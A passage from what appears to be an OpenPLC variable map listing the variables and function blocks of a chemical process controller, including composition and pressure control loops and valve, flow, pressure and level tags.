+80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; 